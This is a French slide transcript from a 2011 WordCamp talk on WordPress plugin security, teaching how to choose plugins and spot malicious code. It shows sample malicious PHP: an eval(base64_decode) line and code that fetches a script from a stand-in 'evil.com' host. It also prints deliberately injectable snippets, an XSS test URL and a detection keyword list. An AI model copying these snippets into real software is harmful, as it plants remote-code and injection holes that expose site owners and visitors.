wordpress et la sécurité des plugins
DESCRIPTION
Slide de @BoiteAWeb (Julio Potier) pour la WordCamp Paris 2011, le 25 nov. 2011.http://baw.li/wcp2011TRANSCRIPT
WordPress etla Sécurité des Plugins
WordPressFrancophone
~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~
1) C'est quoi un plugin et comment ça marche ? 2) Pourquoi un plugin peut contenir une vulnérabilité ? 3) Peut-on et comment détecter du code malveillant ? 4) Les différentes failles les plus répandues. 5) Sélection de plugin Sécurité pour votre site.Bonus) Sécuriser WordPress au delà des plugins.
WordPressFrancophone
Sommaire
Un Plugin : C'est quoi ?Ensemble de fonctions qui viennent se greffer sur votre
site dans le but de l’améliorer ou d’ajouter des fonctionnalités.
Et comment ça marche ?Un plugin va utiliser ce qu’on apelle les “hooks” qui
signifie “hameçons”. Un hook est un point d’entrée dans une fonction WordPress.
WordPressFrancophone
Pourquoi un Plugin peut contenir une vulnérabilité :
#1 Acte volontaire de nuire #2 Le manque d'information du développeur
#3 L'indifférence du développeur
#4 Nouvelles découvertes de failles
#5 Repository WordPress piraté
WordPressFrancophone
Peut-on et comment détecter du code
malveillant ? :Exemples de codes malveillants : eval( base64_decode( "ZWNobyAkX09QVElPTlNbJ2UnXQ==" ) );$a='http://www.';$b='evil';$c='.com/script.php';$content = file_get_contents( $a.$b.$c );$b(); // Équivaut à evil();
WordPressFrancophone
Peut-on et comment détecter du code
malveillant ? :Exemple de code non caché :
WordPressFrancophone
echo $_GET['e']; // XSSeval( $_GET['e'] ); // RCE$wpdb->query( $_GET['e'] ); // SQLi
"eval","base64","rot13","include","require","mail","wp_mail"
Quelques mots-clés :
Comment choisir son Plugin :# Regarder le nombre de téléchargements
# Lire le Changelog à la recherche de correctifs sécu# Trouver la date de création du plugin # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du plugin# Lire les commentaires et avis sur les forums liés# Tester le plugin sur un site test ou en local# Le faire auditer si le doute subsiste
WordPressFrancophone
Comment choisir son Thème :# Regarder le nombre de téléchargements
# Lire le Changelog à la recherche de correctifs sécu# Trouver la date de mise à jour du thème# Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du thème# Lire les commentaires et avis sur les forums liés# Tester le thème sur un site test ou en local# Le faire auditer si le doute subsiste
WordPressFrancophone
# Le trouver sur un site sérieux et compétent# Le faire faire par un intégrateur professionnel
Les failles les plus répandues :XSS - Cross (X) Site Scripting
http://baw.li/dico/XSS
WordPressFrancophone
Bonjour <?= $_GET['log'] ?> !
http://target.com/?log=<script>alert("This is a XSS vuln for #WCP2011");</script>
Les failles les plus répandues :XSS - Cross (X) Site Scripting
http://baw.li/dico/XSS
WordPressFrancophone
<input value="<?= $opts['log'] ?>" />
$opts = get_option( 'mon_plugin' );
Les failles les plus répandues :CSRF - Cross (X) Site Request Forgery
http://baw.li/dico/CSRF
WordPressFrancophone
<form><input name="option" value="evil" /><input type="submit" /></form>
Un token sécurité est manquant !
<input name="_wpnonce" value="j2u1l1i2op" />
Les failles les plus répandues :SQLi - Simple Query Language Injection
http://baw.li/dico/sqli
WordPressFrancophone
$wpdb->query( 'SELECT user_login FROM wp_users WHERE user_login = ' . $opts['log'] );
Les requêtes doivent être préparées !
$wpdb->query( $wpdb->prepare( 'SELECT user_login FROM wp_users WHERE user_login = %s', $opts['log'] ) );
Vidéo Démo
WordPressFrancophone
http://baw.li/1334
Liste non exhaustive de Plugins
# AntiVirus# AskApache Password Protect# BulletProof Security# Secure WordPress et WP Security Scan# Exploit Scanner# Ultimate Security Checker# WordPress Plugin Security Checker# Chap Secure Login# Login Lock# One Time Password# User Role Editor# BackWPUp# Audit Trail# WordPress Firewall (!!!)
WordPressFrancophone
Bonus : Sécuriser WordPress au delà des Plugins
# Faites des sauvegardes régulières.# Tenez WordPress et ses plugins et thèmes à jour.# Déplacez wp-config.php d’un cran dans votre arborescence.# Choisissez un bon mot de passe.# Modifiez le préfixe "wp_" de votre base de données.# Supprimez le compte “admin”.# Ajoutez un “Options -Indexes” dans votre .htaccess.# Installer quelques un des plugins cités précédemment.# Cacher le n° de version ? Non ...
WordPressFrancophone
Livres
Merci !
WordPressFrancophone
http://studio-raspail.fr
http://wordpress-fr.net
http://wp-themes-pro.com
http://screenfeed.fr
http://seomix.fr
http://geekeries.fr
@screenfeedfr
@rochdaniel
@geekeriesfr
@wordpress_fr
@wp_themes_pro
Retrouvez ce slide sur http://boiteaweb.fr/wcp2011